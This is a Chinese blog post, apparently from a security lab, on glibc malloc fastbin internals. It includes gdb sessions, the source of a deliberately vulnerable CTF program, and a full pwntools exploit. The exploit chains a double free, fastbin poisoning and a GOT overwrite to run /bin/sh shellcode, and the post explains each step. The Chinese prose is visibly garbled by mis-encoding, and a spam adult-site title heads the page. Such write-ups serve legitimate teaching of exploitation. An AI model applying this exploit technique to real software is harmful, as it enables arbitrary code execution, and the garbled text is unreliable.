压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

glibc malloc學(xué)習(xí)筆記之fastbin

作者: 知道創(chuàng)宇404實(shí)驗(yàn)室

基礎(chǔ)知識(shí)研究

當(dāng)使用malloc函數(shù)第一次向系統(tǒng)申請(qǐng)小于128kb的內(nèi)存時(shí),會(huì)通過sys_brk申請(qǐng)132kb的內(nèi)存,這塊內(nèi)存就稱為堆。

寫個(gè)測(cè)試代碼,對(duì)著測(cè)試代碼進(jìn)行分析(64位系統(tǒng)):

# test.c
# gcc test.c -o test
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    char *q;
    char *p;
    int x;
    char input[3];

    while(1) {
        read(0,input,3);
        x = atoi(input);
        q = (char *)malloc(x);
        read(0,input,3);
        x = atoi(input);
        p = (char *)malloc(x);
        free(q);
        free(p);
    }
    return 0;
}

然后使用gdb進(jìn)行調(diào)試(使用peda和libheap插件,這兩個(gè)都可以在github上搜到),當(dāng)?shù)谝淮握{(diào)用malloc(0x10)之后,查看內(nèi)存信息:

gdb-peda$ vmmap
....
0x00602000         0x00623000         rw-p  [heap]
....

可以看到堆的大小為132kb

先來說下基礎(chǔ)概念:

fast chunk表示正在使用的長(zhǎng)度在32-160(32位系統(tǒng)是16-80)的堆塊,而fastbin表示長(zhǎng)度在32-180范圍內(nèi)的已經(jīng)釋放的堆塊

我們可以看源碼中的定義:

1570    /* The maximum fastbin request size we support */
1571    #define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)

其中SIZE_SZ根據(jù)操作系統(tǒng)決定,32位系統(tǒng)為4, 64位系統(tǒng)為8

所以之后又定義了一個(gè)fastbin數(shù)組,用來存在fastbin:

1659      /* Fastbins */
1660      mfastbinptr fastbinsY[NFASTBINS];

其中NFASTBINS是宏定義,一般算出來是10,所以這個(gè)數(shù)組的長(zhǎng)度為10,值為地址,儲(chǔ)存fastbin的地址,比如fastbinsY[0]的值為最新釋放出來的長(zhǎng)度為32的fastbin的地址,fastbin是根據(jù)長(zhǎng)度存放數(shù)組的,所以index=1存放的是48,2->64, 3->80, 4->96, 5->112, 6->128, 7->144, 8->160, 而fastbinsY[9]卻用不上,我也不知道為啥…..

但是我卻解決了這里的另一個(gè)坑,如果我們進(jìn)行測(cè)試,就會(huì)發(fā)現(xiàn)我們最大malloc(120),size=128的chunk才是fast chunk,free后可以放到fastbinsY[6]中去,但是如果我們malloc(128),free后卻放到了unsortbin中去,也就是說index=7 or 8也是用不上的,這里我們看代碼:

729 #ifndef DEFAULT_MXFAST
730 #define DEFAULT_MXFAST     (64 * SIZE_SZ / 4)
731 #endif

這里代碼還定義了默認(rèn)fast的大小為128(32位的為64),而這個(gè)值我們是可以修改的,詳情見:http://man7.org/linux/man-pages/man3/mallopt.3.html

       M_MXFAST (since glibc 2.3)
              Set the upper limit for memory allocation requests that are
              satisfied using "fastbins".  (The measurement unit for this
              parameter is bytes.)  Fastbins are storage areas that hold
              deallocated blocks of memory of the same size without merging
              adjacent free blocks.  Subsequent reallocation of blocks of
              the same size can be handled very quickly by allocating from
              the fastbin, although memory fragmentation and the overall
              memory footprint of the program can increase.

              The default value for this parameter is 64*sizeof(size_t)/4
              (i.e., 64 on 32-bit architectures).  The range for this
              parameter is 0 to 80*sizeof(size_t)/4.  Setting M_MXFAST to 0
              disables the use of fastbins.

所以默認(rèn)情況下,fastbin數(shù)組的最后3個(gè)是不會(huì)存儲(chǔ)數(shù)據(jù)的

了解了長(zhǎng)度的問題后來說說chunk和bin的問題

一個(gè)在使用中的堆就是chunk,當(dāng)我們free了這個(gè)chunk后,就會(huì)放入相應(yīng)的bin中,也就是說當(dāng)free了fast chunk,將會(huì)把這個(gè)chunk存放到fastbin中,如何存放后面說。

我們?cè)賮砜聪旅娴膬?nèi)容:

gdb-peda$ heapls
[!] No gdb frame is currently selected.

           ADDR             SIZE            STATUS
sbrk_base  0x602000
chunk      0x602000         0x20            (inuse)
chunk      0x602020         0x20fe0         (top)
sbrk_end   0x623000
gdb-peda$ x/16gx 0x602000
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000020fe0

還有一個(gè)chunk名叫top chunk,這么說吧,在使用的chunk + bin + top chunk的大小就為132kb,看上面的fast chunk的size=0x20加上top chunk的size=0x20fe0的和為0x21000,也就是sys_brk申請(qǐng)下來132kb的堆大小。

三者之間的邏輯是這樣的(默認(rèn)64位系統(tǒng),之后都默認(rèn)了),首先調(diào)用malloc(0x10),首先去判斷fastbinsY[0]是否為空,如果存在一個(gè)地址,然后去檢測(cè)一些有效性啥的,比如size是否為0x20(size >> 3 << 3, 不算標(biāo)志位),如果檢測(cè)出問題了就拋出異常,否則malloc的返回值就為該地址,然后fastbinsY[0]新的值為:fastbinsY[0]=fastbinsY[0]->fd

如果fastbinsY[0]=0的話,則去判斷top chunk的大小是否夠,如果夠就從top chunk中取出,操作大概是這樣的:

top->size -= 32
*(top+32) = top->size
top->size = 0x21
ret = top + 16
top = top + 32
return ret

然后就是free的操作了

PS: 此文只講fastbin

p = malloc(16)
free(p) ->
p->fd = fastbinsY[0]
fastbinsY[0] = p

很簡(jiǎn)單,fastbin是一個(gè)單鏈表,從上面可以看出這是一個(gè)LIFO(Last in, first out后進(jìn)先出)

當(dāng)初我還想了半天為啥使用LIFO,為啥新free的chunk不直接插到屁股,因?yàn)槲覀冎挥幸粋€(gè)fastbinsY[0]指針,如果直接插到屁股的話每次都要迭代到最后一個(gè)chunk然后把它的fd賦值為新的chunk的地址,而使用LIFO,我們只需要修改fastbinsY[0]指針的值和新的chunk的值,花費(fèi)在fastbin鏈有很多的時(shí)候肯定是更少的

結(jié)構(gòu)

原理應(yīng)該差不多了,然后講講結(jié)構(gòu)

我們可以使用libheap來查看現(xiàn)在堆的一些信息:

gdb-peda$ heap
Arena(s) found:
  arena @ 0x7ffff7dd1b20
gdb-peda$ fastbins
[!] No gdb frame is currently selected.

fastbins
[ fb 0 ] 0x7ffff7dd1b28  -> [ 0x0 ] 
[ fb 1 ] 0x7ffff7dd1b30  -> [ 0x0 ] 
[ fb 2 ] 0x7ffff7dd1b38  -> [ 0x0 ] 
[ fb 3 ] 0x7ffff7dd1b40  -> [ 0x0 ] 
[ fb 4 ] 0x7ffff7dd1b48  -> [ 0x0 ] 
[ fb 5 ] 0x7ffff7dd1b50  -> [ 0x0 ] 
[ fb 6 ] 0x7ffff7dd1b58  -> [ 0x0 ] 
[ fb 7 ] 0x7ffff7dd1b60  -> [ 0x0 ] 
[ fb 8 ] 0x7ffff7dd1b68  -> [ 0x0 ] 
[ fb 9 ] 0x7ffff7dd1b70  -> [ 0x0 ] 

首先是arena是什么,這個(gè)地址表示的是啥?這個(gè)我沒找到相關(guān)的文章,我是自己解決的,首先我使用vmmap先查看這個(gè)地址屬于哪:

gdb-peda$ vmmap
Start              End                Perm  Name
......
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so
......

然后發(fā)現(xiàn)這個(gè)地址是屬于libc的,然后猜測(cè)應(yīng)該是malloc相關(guān)的,再加上發(fā)現(xiàn)arena+8是fastbin,然后我在malloc.c中找到了一個(gè)結(jié)構(gòu)體:

1651    struct malloc_state
1652    {
1653      /* Serialize access.  */
1654      __libc_lock_define (, mutex);
1655    
1656      /* Flags (formerly in max_fast).  */
1657      int flags;
1658    
1659      /* Fastbins */
1660      mfastbinptr fastbinsY[NFASTBINS];
1661    
1662      /* Base of the topmost chunk -- not otherwise kept in a bin */
1663      mchunkptr top;
1664    
1665      /* The remainder from the most recent split of a small request */
1666      mchunkptr last_remainder;
1667    
1668      /* Normal bins packed as described above */
1669      mchunkptr bins[NBINS * 2 - 2];
1670    
1671      /* Bitmap of bins */
1672      unsigned int binmap[BINMAPSIZE];
1673    
1674      /* Linked list */
1675      struct malloc_state *next;
1676    
1677      /* Linked list for free arenas.  Access to this field is serialized
1678         by free_list_lock in arena.c.  */
1679      struct malloc_state *next_free;
1680    
1681      /* Number of threads attached to this arena.  0 if the arena is on
1682         the free list.  Access to this field is serialized by
1683         free_list_lock in arena.c.  */
1684      INTERNAL_SIZE_T attached_threads;
1685    
1686      /* Memory allocated from the system in this arena.  */
1687      INTERNAL_SIZE_T system_mem;
1688      INTERNAL_SIZE_T max_system_mem;
1689    };

然后發(fā)現(xiàn):

gdb-peda$ x/16gx 0x7ffff7dd1b20
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000  0x0000000000602000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000  0x0000000000602040

0x7ffff7dd1b78的值為top chunk的地址然后就知道我應(yīng)該是沒找錯(cuò)了,這塊區(qū)域就是各類bin的鏈?zhǔn)祝渌膕mall, large, unsort bin之類的都是存儲(chǔ)在mchunkptr bins[NBINS * 2 - 2];之中,找到一篇文章中是有介紹的:

  • Bin 1 – Unsorted bin
  • Bin 2 to Bin 63 – Small bin
  • Bin 64 to Bin 126 – Large bin

這些以后研究,繼續(xù)看fastbin

我們?cè)賮砜碿hunk的結(jié)構(gòu),定義在malloc.c中:

1040    struct malloc_chunk {
1041    
1042      INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
1043      INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
1044    
1045      struct malloc_chunk* fd;         /* double links -- used only if free. */
1046      struct malloc_chunk* bk;
1047    
1048      /* Only used for large blocks: pointer to next larger size.  */
1049      struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
1050      struct malloc_chunk* bk_nextsize;
1051    };
......
1068        An allocated chunk looks like this:
1069    
1070    
1071        chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1072                |             Size of previous chunk, if unallocated (P clear)  |
1073                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1074                |             Size of chunk, in bytes                     |A|M|P|
1075          mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1076                |             User data starts here...                          .
1077                .                                                               .
1078                .             (malloc_usable_size() bytes)                      .
1079                .                                                               |
1080    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1081                |             (size of chunk, but used for application data)    |
1082                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1083                |             Size of next chunk, in bytes                |A|0|1|
1084                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
......
1094        Free chunks are stored in circular doubly-linked lists, and look like this:
1095    
1096        chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1097                |             Size of previous chunk, if unallocated (P clear)  |
1098                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1099        `head:' |             Size of chunk, in bytes                     |A|0|P|
1100          mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1101                |             Forward pointer to next chunk in list             |
1102                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1103                |             Back pointer to previous chunk in list            |
1104                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1105                |             Unused space (may be 0 bytes long)                .
1106                .                                                               .
1107                .                                                               |
1108    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1109        `foot:' |             Size of chunk, in bytes                           |
1110                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1111                |             Size of next chunk, in bytes                |A|0|0|
1112                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

上面這么代碼和注釋這么多是針對(duì)整體的chunk來說的,而我這篇文章中是針對(duì)fast chunk和fast bin進(jìn)行研究.

對(duì)于fast chunk其實(shí)就一個(gè)有用的字段,就是size,表示當(dāng)前chunk的大小,然后size的低三bit位是標(biāo)志位,為什么size的最后三bit能是標(biāo)志位,因?yàn)樵?2位系統(tǒng)中,chunk永遠(yuǎn)是8的倍數(shù),然后寫代碼的人秉持了不浪費(fèi)任何一bit的原則,這最后3bit就被哪來做標(biāo)志位了,不過在64位系統(tǒng)中,chunk是16的倍數(shù),所以講道理,在64位系統(tǒng)中size的低4bit都是能拿來做標(biāo)志位的,但是我猜測(cè),應(yīng)該是64位系統(tǒng)和32位相比沒有多啥需要標(biāo)志位的功能,所以任然是使用低三bit做標(biāo)志位。

然后在做Pwn的時(shí)候就標(biāo)志位P有用吧,表示上一個(gè)chunk是否在使用中,不過在fast chunk/bin中P標(biāo)志位永遠(yuǎn)是1,free操作并不會(huì)修改fastbin的標(biāo)志位,所以pre_size,前一個(gè)不在使用中的chunk的大小,因?yàn)镻=1,所以在fastbin中這個(gè)字段可以說是沒用的,其實(shí)還是有用的,后面說。

因?yàn)閏hunk總是16的倍數(shù),所以當(dāng)我們malloc(0-16)的時(shí)候,得到的chunk的size就是存放數(shù)據(jù)的16byte加上chunk header,也就是8byte的pre_size,和8byte的size,所以malloc得到的最小的chunk大小為32byte。

但是當(dāng)我測(cè)試的時(shí)候發(fā)現(xiàn),我malloc(0-24)得到的chunk大小都為0x20, 當(dāng)我malloc(25-40)得到的chunk大小為0x30,按我的理解,這是因?yàn)閙alloc的作者是告訴你可以把pre_size利用起來

當(dāng)我malloc(24)的時(shí)候,得到size=0x20的chunk,其中有0x10的chunk header,然后有0x10的地方存放data,然后仔細(xì)研究會(huì)發(fā)現(xiàn),還有8byte的下一個(gè)chunk的pre_size可以存放數(shù)據(jù),因?yàn)楫?dāng)前chunk肯定是使用中的,所以下一個(gè)chunk的標(biāo)志位P=1,pre_size沒用,所以可以被上一個(gè)chunk利用,當(dāng)free的時(shí)候,再往下一個(gè)chunk的pre_size設(shè)置值,所以按作者的想法應(yīng)該是這樣能達(dá)到最大利用率。

然后就是fastbin了,其實(shí)fastbin和fast chunk比,就是多了一個(gè)fd,在fastbin單鏈表中起作用,前面已經(jīng)說了。因?yàn)槭菃捂湵恚詁k沒用。

寫了這么多,個(gè)人感覺應(yīng)該是寫清楚了,就留了一個(gè)坑吧——fastbinsY[9]有啥作用?

在Pwn題中fastbin的利用

# mistake.c
# gcc mistake.c -z execstack -o mistake
#include <stdio.h>
#include <stdlib.h>

typedef struct chunk{
    char buffer[0x10];
    int len;
}chunk;

chunk* list[0x30];
int chunk_number;

void menu()
{
    write(1,"1.create\n",9);
    write(1,"2.read\n",7);
    write(1,"3.free\n",7);
    write(1,"4.bye\n",6);
    write(1,"> ",2);
}

int transfer(char* buffer){
    int i,result = 0;
    for(i = 0;*(buffer+i) != 0;i++){
        if(*(buffer+i) > '9'||*(buffer+i) < '0'){
            return -1;
        }
        result = result*10 - '0' + *(buffer+i);
    }
    return result;
}

int read_int(){
    int i,result;
    char buffer[11];
    for(i = 0;i < 10;i++){
        read(0,buffer+i,1);
        if(*(buffer+i) == '\n'){
            break;
        }
    }
    *(buffer+i) = 0;
    if((result = transfer(buffer)) == -1){
        write(1,"Invalid input.\n",15);
        return -1;
    }
    return result;
}

void create_chunk()
{
    if(chunk_number > 0x2f){
        write(1,"no more chunk.\n",15);
        return;
    }
    chunk_number++;
    chunk* tmp = (chunk*)malloc(0x14);
    write(1,"content: ",9);
    tmp->len = read(0,tmp->buffer,0x10);
    list[chunk_number] = tmp;
    write(1,"create successfully.\n",21);
}

void read_chunk()
{
    int id;
    write(1,"id: ",4);
    if((id = read_int()) == -1){
        return;
    }
    if(id > chunk_number){
        write(1,"Index out of range.\n",20);    
        return;
    }
    write(1,list[id]->buffer,list[id]->len);
}

void free_chunk(){
        int id,i;
        write(1,"id: ",4);
    if((id = read_int()) == -1){
        return;
    }
        if(id > chunk_number){
                write(1,"Index out of range.\n",20);
        return;
        }
    free(list[id]);
    chunk_number--;
    for(i = id;i < 0x2f;i++){
        list[i] = list[i+1];
    }
    write(1,"delete successfully\n",20);
}

int main(void){
    chunk_number = -1;
    char input[2];
    int selete;
    while(1){
        menu();
        read(0,input,2);
        input[1] = 0;
        if(!(selete = atoi(input))){
            write(1,"Invalid input.\n",15);
            continue;
        }
        switch(selete){
        case 1:
            create_chunk();
            break;
        case 2:
            read_chunk();
            break;
        case 3:
            free_chunk();
            break;
        case 4:
            write(1,"bye~\n",5);
            return 0;
        default:
            write(1,"Invalid input\n",15);
        }
    }
}

題目是協(xié)會(huì)的一個(gè)學(xué)弟(@spine)出的

再給個(gè)Dockerfile吧:https://github.com/Hcamael/docker_lib/tree/master/heap/mistake

這題感覺對(duì)于新手挺有難度的,第一次做的時(shí)候花了很長(zhǎng)時(shí)間,然后現(xiàn)在復(fù)習(xí)還花了很長(zhǎng)時(shí)間撿起來

這題的漏洞點(diǎn)在一個(gè)很小的地方,在create_chunk,這里對(duì)輸入進(jìn)行檢查,chunk_number的最大值為0x2f,看著是沒問題,但是再判斷完以后讓chunk_number進(jìn)行自增,也就是到0x30了,list[0x30]是不是溢出了?但是這里溢出看著危害好像不大,但是進(jìn)過一系列細(xì)微的操作,可以造成double free.

我想了很久要怎么總結(jié)pwn題,最后覺得還是一開始先點(diǎn)出漏洞點(diǎn),然后貼出payload,再對(duì)payload進(jìn)行解釋,所以,payload如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

# context.log_level = 'debug'

shellcode1 = "jhH\xb8/bin///sP\xeb\x21"
shellcode2 = "H\x89\xe71\xf6j;X\x99\x0f\x05"
p = process('./mistake')

def double_free():
    p.sendline('3')
    p.sendline('47')
    print p.recv()
    p.sendline('3')
    p.sendline('0')
    print p.recv()
    p.sendline('3')
    p.sendline('46')
    print p.recv()

def malloc_fd():
    p.sendline('1')
    p.sendline(p64(0x602080-8))
    print p.recv()
    p.sendline('1')
    p.sendline(shellcode2)
    print p.recv()
    p.sendline('1')
    p.sendline(shellcode2)
    print p.recv()

def free_del():
    for x in xrange(3):
        p.sendline('3')
        p.send(str(0xfffffffd))
        print p.recv()

def create_chunk():
    for x in xrange(0x31):
        p.sendline('1')
        print p.recv()
        if x == 1:
            p.sendline(p64(0)+p64(0x21))
        else:
            p.sendline(shellcode2)
        print p.recv()

create_chunk()
print "===create over=========="
double_free()
print "====double free over===="
free_del()
print "=====del over=========="
malloc_fd()

# 控制chunk_number
p.sendline('1')
p.send(p64(0xffffffef))

print p.recv()

p.sendline('3')
p.send('4294967291')
print p.recv()

p.sendline('1')
p.sendline(shellcode1)

p.interactive()

之前程序里寫了編譯方式,這題我們是關(guān)閉NX的,所以就要想著怎么可以執(zhí)行shellcode

再講payload的時(shí)候,先提下,我們需要關(guān)注幾個(gè)地方,一個(gè)是存放chunk地址的list,還有就是使用libheap的fastbins命令查看fastbin情況

payload的第一步是create_chunk()函數(shù),創(chuàng)造出最大值0x31個(gè)chunk,chunk的賦值之后就知道其意義

這個(gè)時(shí)候list的情況:

list[0]
list[1]
list[2]
......
list[46]
list[47]
----overflow----
list[48]

然后就會(huì)產(chǎn)生2free了,看double_free(),首先是只有free(list[47])操作,我們list[47]的值稱為list47,這個(gè)時(shí)候fastbin -> list47

第二次是free(list[0]),我們把list[0]稱為list0,這個(gè)時(shí)候

fastbin -> list0
list0.fd -> list47

但是除了free的操作,還會(huì)進(jìn)行清除list[0]的移位操作:

list[0] = list[1]
list[1] = list[2]
......
list[45] = list[46]
list[46] = list[47]

然后我們?cè)賔ree(list[46]),這個(gè)時(shí)候list[46]的值為list47,而list47是被free過的,所以就造成了double free

這個(gè)時(shí)候

fastbin -> list47
list47.fd -> list0
list0.fd -> list47

然后,就涉及到了第二個(gè)bug,int chunk_number;,chunk_number的值為int,所以在free_chunk函數(shù)中,id>chunk_number的比較可以讓id為負(fù)數(shù)來bypass

看之后的payload,free了3次list[-3] (list[-3] == list[0xfffffffd])

.bss:0000000000602080 chunk_number    dd
.bss:0000000000602084                 align 20h
.bss:00000000006020A0                 public list
.bss:00000000006020A0 ; void *list

通過ida可以看到list[-3]的地址為0x0602088,值為0(不知道為啥list和chunk_number之間有28byte沒被使用的內(nèi)存)

所以我們實(shí)際執(zhí)行的是3次free(0),而該操作并不會(huì)改變啥,所以實(shí)際的效果只有:

list[-3] = list[0]
list[-2] = list[1]
list[-1] = lsit[2]
......
list[44] = list[47]
list[45] = list[47]
list[46] = list[47]

但是和剛執(zhí)行完create_chunk后的初始結(jié)果相比,是這樣的:

list[-3] = list[1]
list[-2] = list[2]
list[-1] = lsit[3]
......
list[43] = list[47]
list[44] = list[47]
list[45] = list[47]
list[46] = list[47]

這個(gè)時(shí)候執(zhí)行malloc_fd函數(shù),我們回頭再看看現(xiàn)在fastbin的情況:

fastbin -> list47
list47.fd -> list0
list0.fd -> list47

所以,第一次malloc,我們得到的是list47的地址,然后在list47.fd的位置寫入了p64(0x602080-8)

第二次malloc,獲取到的是list0的地址

第三次malloc,獲取到又是list47的地址,這個(gè)時(shí)候,fastbin將會(huì)指向list47的fd:

fastbin -> 0x602078

為什么我們讓fastbin指向這個(gè)地址?因?yàn)閒astbin在malloc的時(shí)候會(huì)對(duì)size進(jìn)行檢查,也就是檢查address+8的值是否為合法size

如果fastbin指向0x602078,則會(huì)檢查0x602080是否是合法size,這個(gè)地址為存儲(chǔ)的是chunk_number,我們可以仔細(xì)計(jì)算下,這個(gè)時(shí)候的chunk_number=0x2e(0b101110),是一個(gè)合法的地址,所以這個(gè)時(shí)候我們可以成功malloc,返回地址0x602088,然后更新fastbin,fastbin指向的是0x602078的fd,也就是0x602088,這個(gè)地址是list[-3], 根據(jù)上面分析的,這個(gè)值也就是初始的list[1],所以在payload中,我們?cè)谶@個(gè)位置寫入的是p64(0)+p64(0x21),為了之后能成功malloc所偽造的頭。

這時(shí)的fastbin:

fastbin -> old_list1

然后我們向0x602088寫入0x10byte的數(shù)據(jù),我們?cè)谶@個(gè)地方寫入的是p64(0xffffffef),也就是-17

之后我們?cè)賔ree(list[-5]) -> free(*0x602078) -> free(0), 不會(huì)發(fā)生啥,但是free_chunk除了調(diào)用free函數(shù)外還有一個(gè)操作:

list[-5] = list[-4]
list[-4] = list[-3]
......
其中
list[-4] = 0x602080        
list[-3] = 0x602088

其中0x602080為chunk_number的地址,所以經(jīng)過這個(gè)操作后,chunk_number的地址被修改為了0x602088地址的值,在上面我們可以看到,值為0xffffffef

最后一步,首先是chunk_number自增,得到0xfffffff0

然后是malloc獲得old_list1 + 16地址,寫入shellcode

然后在源碼中的操作是:

list[chunk_number] = tmp;

list的地址是0x6020a0

chunk_number的值為0xfffffff0

所以最后是向0x6020a0 + 8*0xfffffff0 = 0x602020地址寫入old_list1 + 16(也就是shellcode地址的值)

在我編譯出來的程序中

.got.plt:0000000000602020 off_602020      dq offset write      

0x602020是write的got地址,所以修改了write的got表地址為shellcode地址

所以之后調(diào)用write,將會(huì)跳到shellcode地址,因?yàn)镹X沒開,所以堆棧可執(zhí)行,可以成功執(zhí)行shellcode,導(dǎo)致getshell

PS:payload中的shellcode2沒啥用,只是我測(cè)試時(shí)候用的,這個(gè)相當(dāng)于padding,看payload的時(shí)候別糾結(jié)這個(gè),之前輸入有意義的一個(gè)是list[1]構(gòu)造chunk header,一個(gè)就是最后的shellcode1了,其他的基本算是padding

參考:

  1. malloc.c
  2. Heap Exploitation
  3. Understanding glibc malloc
  4. Syscalls used by malloc
  5. Double Free淺析

上一篇:TP-LINK 遠(yuǎn)程代碼執(zhí)行漏洞 CVE-2017-13772 趣談

下一篇:CVE-2017-5123 漏洞利用全攻略